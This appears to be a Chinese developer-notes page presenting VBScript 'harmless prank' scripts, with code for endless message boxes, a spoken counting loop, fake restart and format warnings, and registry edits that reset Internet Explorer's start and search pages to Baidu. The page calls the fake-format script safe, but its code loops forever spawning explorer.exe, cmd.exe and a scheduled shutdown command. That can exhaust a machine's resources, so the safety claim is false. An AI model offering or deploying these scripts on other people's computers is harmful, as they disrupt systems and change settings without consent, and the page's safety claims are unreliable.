热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

编写有趣的VBScript恶作剧脚本

本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。

在本文中,我们将探讨如何使用Vbscript编写一些有趣的、无害的恶作剧程序。这些程序可以用来逗朋友们一笑,但请确保它们不会对系统造成任何实际损害。

以下是几个简单且有趣的Vbscript示例:

1. 无限消息框

这段代码会不断弹出消息框,直到用户关闭它。

Do
MsgBox "你好!"
Loop

2. 语音报数

这个脚本会用计算机的声音不断报数。

Set s = CreateObject("sapi.spvoice")
i = 0
Do
s.Speak i
i = i + 1
Loop

3. 模拟重启提示

该脚本会弹出一个模拟的重启提示框,并在用户点击取消时显示一条玩笑信息。

If MsgBox("对不起,您需要重新启动计算机。确定要重启吗?", vbOKCancel + vbInformation, "重新启动计算机") = vbCancel Then
MsgBox "你上当了!!", , "哈哈"
End If

4. 模拟格式化提示

这个脚本会弹出一系列消息框,营造出即将格式化的假象,但实际上并不会执行任何危险操作。

MsgBox "即将格式化!请做好准备!", vbYesNo
MsgBox "准备好后点yes!", vbYesNo
MsgBox "sorry,忘说了,点no也行!"
MsgBox "我对不起你啊!呜呜呜555哈哈哈哈!"
MsgBox "靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
MsgBox "被人研究!"
MsgBox "就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
MsgBox "你咋还笑?!是时候惩罚你了!"
Do
Set ws = CreateObject("wscript.shell")
ws.Run "explorer.exe"
ws.Run "cmd.exe"
ws.Run "cmd.exe /c shutdown -s -t 7200", , True
Loop

5. 讲故事循环

这段代码会不断地讲述一个古老的故事,直到用户终止脚本。

Dim a
a = MsgBox("给你讲个故事!", vbYesNo, "默默许愿制作")
If a = vbYes Then
Do
MsgBox "从前有座山"
MsgBox "山上有座庙"
MsgBox "庙里有两个和尚"
MsgBox "大和尚给小和尚讲故事说"
a = 1
Loop While a = 1
End If

6. 设置默认主页为百度

该脚本会将用户的浏览器默认页和搜索页设置为百度。

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL", "http://www.baidu.com"

注意事项

虽然这些脚本看起来很有趣,但在使用时请注意以下几点:

  • 确保您的脚本不会对系统或数据造成任何损害。
  • 尊重他人的设备和隐私,不要滥用这些脚本。
  • 始终告知对方这是一个恶作剧,以避免不必要的误会。

希望这些示例能帮助您更好地理解Vbscript编程,同时也能为您带来一些乐趣。如果您有任何问题或建议,请随时留言交流。


推荐阅读
  • 本文详细介绍了Akka中的BackoffSupervisor机制,探讨其在处理持久化失败和Actor重启时的应用。通过具体示例,展示了如何配置和使用BackoffSupervisor以实现更细粒度的异常处理。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 本文深入探讨了 Java 中的 Serializable 接口,解释了其实现机制、用途及注意事项,帮助开发者更好地理解和使用序列化功能。 ... [详细]
  • DNN Community 和 Professional 版本的主要差异
    本文详细解析了 DotNetNuke (DNN) 的两种主要版本:Community 和 Professional。通过对比两者的功能和附加组件,帮助用户选择最适合其需求的版本。 ... [详细]
  • 本文详细介绍了如何构建一个高效的UI管理系统,集中处理UI页面的打开、关闭、层级管理和页面跳转等问题。通过UIManager统一管理外部切换逻辑,实现功能逻辑分散化和代码复用,支持多人协作开发。 ... [详细]
  • 本文介绍如何使用阿里云的fastjson库解析包含时间戳、IP地址和参数等信息的JSON格式文本,并进行数据处理和保存。 ... [详细]
  • 解决JAX-WS动态客户端工厂弃用问题并迁移到XFire
    在处理Java项目中的JAR包冲突时,我们遇到了JaxWsDynamicClientFactory被弃用的问题,并成功将其迁移到org.codehaus.xfire.client。本文详细介绍了这一过程及解决方案。 ... [详细]
  • 本文介绍如何使用Objective-C结合dispatch库进行并发编程,以提高素数计数任务的效率。通过对比纯C代码与引入并发机制后的代码,展示dispatch库的强大功能。 ... [详细]
  • IneedtofocusTextCellsonebyoneviaabuttonclick.ItriedlistView.ScrollTo.我需要通过点击按钮逐个关注Tex ... [详细]
  • 在前两篇文章中,我们探讨了 ControllerDescriptor 和 ActionDescriptor 这两个描述对象,分别对应控制器和操作方法。本文将基于 MVC3 源码进一步分析 ParameterDescriptor,即用于描述 Action 方法参数的对象,并详细介绍其工作原理。 ... [详细]
  • 本文探讨了如何在编程中正确处理包含空数组的 JSON 对象,提供了详细的代码示例和解决方案。 ... [详细]
  • 在维护公司项目时,发现按下手机的某个物理按键后会激活相应的服务,并在屏幕上模拟点击特定坐标点。本文详细介绍了如何使用ADB Shell Input命令来模拟各种输入事件,包括滑动、按键和点击等。 ... [详细]
  • 获取计算机硬盘序列号的方法与实现
    本文介绍了如何通过编程方法获取计算机硬盘的唯一标识符(序列号),并提供了详细的代码示例和解释。此外,还涵盖了如何使用这些信息进行身份验证或注册保护。 ... [详细]
  • Scala 实现 UTF-8 编码属性文件读取与克隆
    本文介绍如何使用 Scala 以 UTF-8 编码方式读取属性文件,并实现属性文件的克隆功能。通过这种方式,可以确保配置文件在多线程环境下的一致性和高效性。 ... [详细]
  • 本文详细探讨了JDBC(Java数据库连接)的内部机制,重点分析其作为服务提供者接口(SPI)框架的应用。通过类图和代码示例,展示了JDBC如何注册驱动程序、建立数据库连接以及执行SQL查询的过程。 ... [详细]
author-avatar
弥晓潞_509
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有